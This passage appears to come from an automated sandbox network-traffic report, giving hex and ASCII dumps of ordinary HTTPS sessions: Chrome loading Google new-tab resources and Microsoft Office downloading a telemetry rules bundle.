SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-16 12:01:21 UTC	11	IN	Data Raw: 63 31 34 0d 0a 29 5d 7d 27 0a 5b Data Ascii: c14)]}'[
2024-11-16 12:01:21 UTC	1378	IN	Data Raw: 22 22 2c 5b 22 61 64 76 61 6e 63 65 20 61 75 74 6f 20 70 61 72 74 73 20 63 6c 6f 73 69 6e 67 20 73 74 6f 72 65 73 22 2c 22 61 72 63 61 6e 65 20 65 70 69 73 6f 64 65 73 22 2c 22 68 61 6c 66 20 6c 69 66 65 20 32 20 32 30 74 68 20 61 6e 6e 69 76 65 72 73 61 72 79 20 75 70 64 61 74 65 22 2c 22 67 65 6e 6f 20 73 6d 69 74 68 22 2c 22 77 69 6e 74 65 72 20 77 65 61 74 68 65 72 20 77 61 72 6e 69 6e 67 73 22 2c 22 6e 61 73 61 20 73 70 61 63 65 20 73 74 61 74 69 6f 6e 20 6c 65 61 6b 22 2c 22 6e 79 74 20 73 74 72 61 6e 64 73 20 6e 6f 76 65 6d 62 65 72 20 31 36 22 2c 22 62 6f 74 74 6c 65 64 20 77 61 74 65 72 20 72 65 63 61 6c 6c 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e Data Ascii: "",["advance auto parts closing stores","arcane episodes","half life 2 20th anniversary update","geno smith","winter weather warnings","nasa space station leak","nyt strands november 16","bottled water recalls"],["","","","","","","",""],[],{"google:clien
2024-11-16 12:01:21 UTC	1378	IN	Data Raw: 6a 63 35 51 57 38 30 65 6a 56 56 4d 57 56 6b 65 54 4e 43 64 32 6c 33 4d 47 68 44 55 32 77 79 59 7a 42 47 63 55 6f 35 4d 45 6f 78 54 44 49 35 56 57 64 6c 64 45 78 51 55 55 56 7a 62 45 78 61 4d 55 39 50 53 55 46 55 63 56 5a 6e 54 6b 52 69 53 6e 70 75 51 58 46 6c 4f 54 6c 47 5a 55 64 59 57 6d 74 59 56 7a 4e 43 51 32 52 42 52 47 56 77 53 58 6c 56 62 30 70 4b 51 58 45 31 59 32 70 77 53 7a 4a 32 65 48 6b 77 62 46 4e 70 4d 6e 6b 32 4d 30 6c 69 52 32 52 6f 4e 47 64 56 51 30 49 76 5a 30 51 32 4d 56 5a 47 65 48 4e 35 56 6e 52 35 59 30 4a 34 54 47 68 51 61 55 6c 56 54 6e 6f 7a 51 6e 64 6c 4d 56 64 45 62 46 4e 73 59 6c 42 47 54 57 39 30 59 58 52 4d 4e 30 4e 6e 4b 30 49 33 63 44 42 72 52 6b 6f 35 54 6c 4a 49 63 6c 64 4c 57 6b 70 4e 4d 32 6c 4a 54 6d 39 69 4d 55 5a 47 Data Ascii: jc5QW80ejVVMWVkeTNCd2l3MGhDU2wyYzBGcUo5MEoxTDI5VWdldExQUUVzbExaMU9PSUFUcVZnTkRiSnpuQXFlOTlGZUdYWmtYVzNCQ2RBRGVwSXlVb0pKQXE1Y2pwSzJ2eHkwbFNpMnk2M0liR2RoNGdVQ0IvZ0Q2MVZGeHN5VnR5Y0J4TGhQaUlVTnozQndlMVdEbFNsYlBGTW90YXRMN0NnK0I3cDBrRko5TlJIcldLWkpNM2lJTm9iMUZG
2024-11-16 12:01:21 UTC	332	IN	Data Raw: 4d 51 54 42 5a 55 46 52 70 55 32 74 66 54 6e 6b 78 59 32 39 36 63 7a 42 7a 65 56 46 42 51 56 5a 52 57 55 68 58 55 58 41 47 63 41 63 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 Data Ascii: MQTBZUFRpU2tfTnkxY296czBzeVFBQVZRWUhXUXAGcAc\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,3
2024-11-16 12:01:21 UTC	73	IN	Data Raw: 34 33 0d 0a 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: 43"QUERY","QUERY","QUERY","ENTITY","QUERY","QUERY","QUERY","QUERY"]}]
2024-11-16 12:01:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	142.250.186.164	443	348	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:20 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	142.250.186.164	443	348	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:20 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 12:01:21 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 16 Nov 2024 12:01:21 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-16 12:01:21 UTC	360	IN	Data Raw: 31 66 34 33 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1f43)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-16 12:01:21 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-16 12:01:21 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-16 12:01:21 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-16 12:01:21 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-16 12:01:21 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700272,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"thi
2024-11-16 12:01:21 UTC	761	IN	Data Raw: 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4d 64 5c 75 Data Ascii: 03dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Md\u
2024-11-16 12:01:21 UTC	398	IN	Data Raw: 31 38 37 0d 0a 3b 5f 2e 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 Data Ascii: 187;_.Sd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.Td\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number
2024-11-16 12:01:21 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 57 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 57 64 5c 75 30 30 33 64 56 64 28 29 29 3b 72 65 74 75 72 6e 20 57 64 7d 3b 5c 6e 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 58 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 59 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f Data Ascii: 8000html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Xd\u003dfunction(){Wd\u003d\u003d\u003dvoid 0\u0026\u0026(Wd\u003dVd());return Wd};\n_.Zd\u003dfunction(a){const b\u003d_.Xd();return new _.Yd(b?b.createScriptURL(a):a)};_
2024-11-16 12:01:21 UTC	1378	IN	Data Raw: 7c 24 29 29 2f 69 3b 76 61 72 20 6f 65 2c 73 65 2c 6b 65 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 6b 65 28 5f 2e 6c 65 28 61 29 29 3a 69 65 7c 7c 28 69 65 5c 75 30 30 33 64 6e 65 77 20 6b 65 29 7d 3b 5f 2e 6e 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 Data Ascii: \|$))/i;var oe,se,ke;_.me\u003dfunction(a){return a?new ke(_.le(a)):ie\|\|(ie\u003dnew ke)};_.ne\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	142.250.186.164	443	348	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:21 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 12:01:21 UTC	933	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 16 Nov 2024 12:01:21 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-16 12:01:21 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-16 12:01:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:22 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:23 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:23 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 15 Nov 2024 16:53:09 GMT ETag: "0x8DD0595FBE5245A" x-ms-request-id: 46f8cbee-b01e-0053-74a3-37cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120123Z-16547b76f7fsq6p7hC1DFWfx68000000014000000000cy0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:23 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-16 12:01:23 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O 